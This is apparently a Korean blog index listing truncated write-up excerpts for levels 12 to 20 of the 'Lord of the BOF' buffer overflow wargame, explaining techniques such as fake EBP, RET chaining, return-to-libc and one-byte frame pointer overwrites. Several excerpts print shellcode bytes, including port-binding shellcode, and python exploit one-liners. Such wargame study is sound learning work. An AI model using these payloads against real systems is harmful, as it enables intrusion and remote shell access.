Profile

머리정리하는곳

c2w2m2

[Level20] xavius -> death_knight

코드를 보니 soket 통신을 하는 코드인거 같습니다. 위에 있는건 서버를 열기위한 코드이고 실제 bof가 일어나는 부분은 저부분입니다. 단순한 bof 가 일어나는걸 볼수 있습니다. 다만 remote bof는 주소값을 알수 없어요.... 그래서 무차별 대입으로 buffer의 주소값을 맞춰야 한다는..... 그리고 여기서 쓰는 shellcode는 평소에 쉘을 띄우는 쉘코드와 달리 31337 포트를 열어서 거기서 명령어를 실행 시킬수 있도록 하는 그런 쉘코드를 사용해야 합니다 사용할 shellcode는 \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02..

Pwnable/LOB ·

[Level19] nightmare -> xavius

코드를 보니 막막합니다.... 스택 못쓰고 라이브러리 못쓰고 LD_* 못쓰고 바이너리이미지 못스고 그래놓곤 스택 다 지워 버리고 처음에는 진짜 막막하고 못풀듯 싶었는데... 코드를 보니 평소처럼 인자를 사용하는 방법이 아닌 stdin 을 이용해서 받더군요 stdin을 이용해서 받으면 이름이 기억은 안나는데 그쪽에 입력했던 값이 저장된다고 들었던 기억이 있어서 바로 확인해보았습니다. 저기 보이는 저 0x08049a3c 가 stdin 의 주소이니 저쪽으로 가보도록 하겠습니다. 헉, 진짜 값이 남아있습니다!!!!!!!!!! 그럼 Ret를 저쪽으로 돌리고 저쪽에는 shellcode를 넣으면 되겠네요. 다만 0x40015000 에서 \x00 이 NULL 로 취급되지 않을까 해서 앞 4byte는 AAAA로 때우고 ..

Pwnable/LOB ·

[Level18] succubus -> nightmare

Ret에 strcpy를 넣으라고 하네요.. 그럼 main 함수의 Ret는 strcpy로 고정되있으니 strcpy의 Ret를 덮으면 되겠거니 했는데 strcpy 의 Ret를 A로 덮어 버리네요 그럼 strcpy를 호출한 이상 strcpy를 이용해서 Ret의 값을 바꿔주면 되지 않을까.....요? 고로 계획을 세워보면 dummy + SFP [44 byte] + strcpy 주소 [4 byte] + dummy[4 byte] + buffer+48 주소 [4 byte] + argv[2] 주소 [4bye] + RTL 어후 복잡해라. buffer + 48 과 argv[2] 주소는 언제나처럼 소스코드 복사 하셔서 printf("%p %p\n", buffer+48 , argv[2]); 하시면 됩니다 그러면 주소가 각각 ..

Pwnable/LOB ·

[Level17] zombie_assassin -> succubus

/* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include #include #include // the inspector int check = 0; void MO(char *cmd) { if(check != 4) exit(0); printf("welcome to the MO!\n"); // olleh! system(cmd); } void YUT(void) { if(check != 3) exit(0); printf("welcome to the YUT!\n"); check = 4; } void GUL(void) { if(check != 2) exit(0); printf("wel..

Pwnable/LOB ·

[Level16] assassin -> zombie_assassin

대놓고 Fake ebp 문제 입니다. Ret 에 Leave 의 주소값을 넣어 Leave 와 Ret 를 각각 2번씩 실행 시킵니다. Leave mov esp, ebppop ebp Ret pop eipjmp eip Leave 와 Ret 는 내부적으로 이런일을 하는데 , Leave 와 Ret 를 2번씩 실행시키므로 eip 가 SFP+4 의 주소를 가리키게 됩니다. 따라 SFP 에 buffer-4 의 주소값을 넣어준다면 최종적으로 eip 가 buffer 의 주소값을 가르키게 되고 그러면 쉘을 실행시킬수 있게 됩니다. 계획을 세워보면 RTL [12 byte ] + dummy [28 byte] + buffer-4 주소[4 byte] + Leave 주소[4byte] 가 됩니다 Leave 주소를 구하면 Leave : ..

Pwnable/LOB ·

[Level15] giant -> assassin

코드를 보면 no Stack, no RTL 이라는데 RTL 쓸겁니다. 하핳 어떤식으로 저 코드가 우회가 되냐면 Ret에 Ret 주소를 씌움으로써 Ret 가 한번 더 실행되고 Ret 내부적으로 실행되는 pop eip 가 2번 실행 되면서 Ret 뒤에있는 주소를 eip가 가리키게 됩니다. 그 말은 즉 Ret 에는 Ret 주소를 넣고 Ret 뒤에 RTL을 하면 된다는 말! R드럽게 많네 저기 있는 0x0804851e 가 Ret 주소이므로 계획을 세워보면 dummy + SFP [44 byte] + Ret 주소 [4 byte] + RTL 이 되겠습니다. 바로 assassin 에 공격해 봅시다. ./assassin `python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8..

Pwnable/LOB ·

[Level14] bugbear -> giant

저희가 지금까지 사용했던 RTL 방식은 system 함수를 이용한 방식이였습니다. 하지만 이문제가 지금 요구하는 방식은 execve 함수를 이용하라고 하는군요,,, 일단 execve의 주소부터 알아봅시다. //execve.c #include int main(){ printf("Test"); } 이렇게 짠다음 컴파일 하고 gdb로 열어서 printf 에 bp걸고 실행을 시킨 다음 p execve 로 execve 의 주소값을 확인합니다. execve 주소값 : 0x400a9d48 *주의 : \x0a 를 \x00 으로 인식하기 때문에 python 으로 값을 넣을때 "" 를 밖에 한개씩 추가합시다. execve로 /bin/sh 를 실행 시키려면 보통 //execvetest.c #include int main()..

Pwnable/LOB ·

[Level13] darkknight -> bugbear

코드를 보니..... RTL?! 그럼 그냥 Levle 1 ~ 3 푸는 거랑 똑같이 하면 되겠네요 ㅇㅁㅇ... 설명 안하고 넘어가겠습니다. ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"ABCD"+"\xf9\xbf\x0f\x40"'` 클리어 ~

Pwnable/LOB ·

[Level12] golem -> darkknight

코드를 보면 단 1byte 만 오버플로우가 일어납니다. 단 1byte 가지고 저희는 ebp를 움직일수 있습니다. 이 ebp를 움직임으로써 esp가 leave 에 의해 움직이게 되고 esp가 움직이면 ret를 실행할때 esp+4의 주소로 가 실행시키므로 저희가 원하는 코드를 실행 시킬수 있는것 입니다. 즉 계획을 세워보면 dummu [4 byte] + shellcode 시작 주소 [4 byte] + shellcode [25 byte] + dummy [7 byte] + buffer시작 주소 마지막 자리[1 byte] 가 되겠습니다. shellcode 는 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb..

Pwnable/LOB ·